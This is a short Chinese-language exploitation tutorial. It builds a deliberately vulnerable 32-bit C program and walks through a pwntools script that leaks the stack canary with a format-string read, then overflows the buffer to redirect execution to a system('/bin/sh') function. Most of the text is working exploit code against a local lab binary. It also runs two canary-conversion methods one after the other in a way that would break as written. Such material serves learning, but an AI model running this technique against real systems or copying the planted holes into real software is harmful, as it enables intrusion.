06_利用printf漏洞突破canary保护
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
printf(str);
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
gcc -m32 -no-pie -fstack-protector-all -o printf2 printf2.c
不加pie保护, 打开canary保护
打断点到printf,然后canary看 $ebp - 0xc
我们可以看出距离栈顶有15个四字节的偏移
from pwn import *
import binascii #为了给canary转成倒序
p = process("./printf2")
p.sendline("%15$08x") #这个是选择第十五个参数座位格式化的值,然后08是填充宽度,x是十六进制
#这里是接收canary,但是因为会有一个换行符,所以我们[:8]只接收8位
canary = p.recv()[:8]
print(canary)
#一种方法(手动倒序)
canary = binascii.unhexlify(canary)[::-1]
#第二种方法,需要导入binascii
#将泄露的十六进制字符串转换为整数,因为p32只接受整数
canary = int(canary, 16)
# 可以使用 p32 包裹 Canary,而不用手动倒序
canary = p32(canary)
#下面放图片解释
canary_offset = 8 * 4
ret_offset = 3 * 4
ret_address = p32(0x08049196)
#a前面要加b,因为确保所有的变量都是字节类型
payload = canary_offset * b'a' + canary + ret_offset * b'a' + ret_address
p.sendline(payload)
p.interactive()
0x20到0x40,就是十进制的32位,这就是canary_offset.
0xffffcfec到esp有15个参数,所以我们打印%15$0x8
从canary到ebp还有3个参数,这就是ret_offset
这就是sys的返回地址,直接覆盖原来的返回地址,最后就会返回system
License:
CC BY 4.0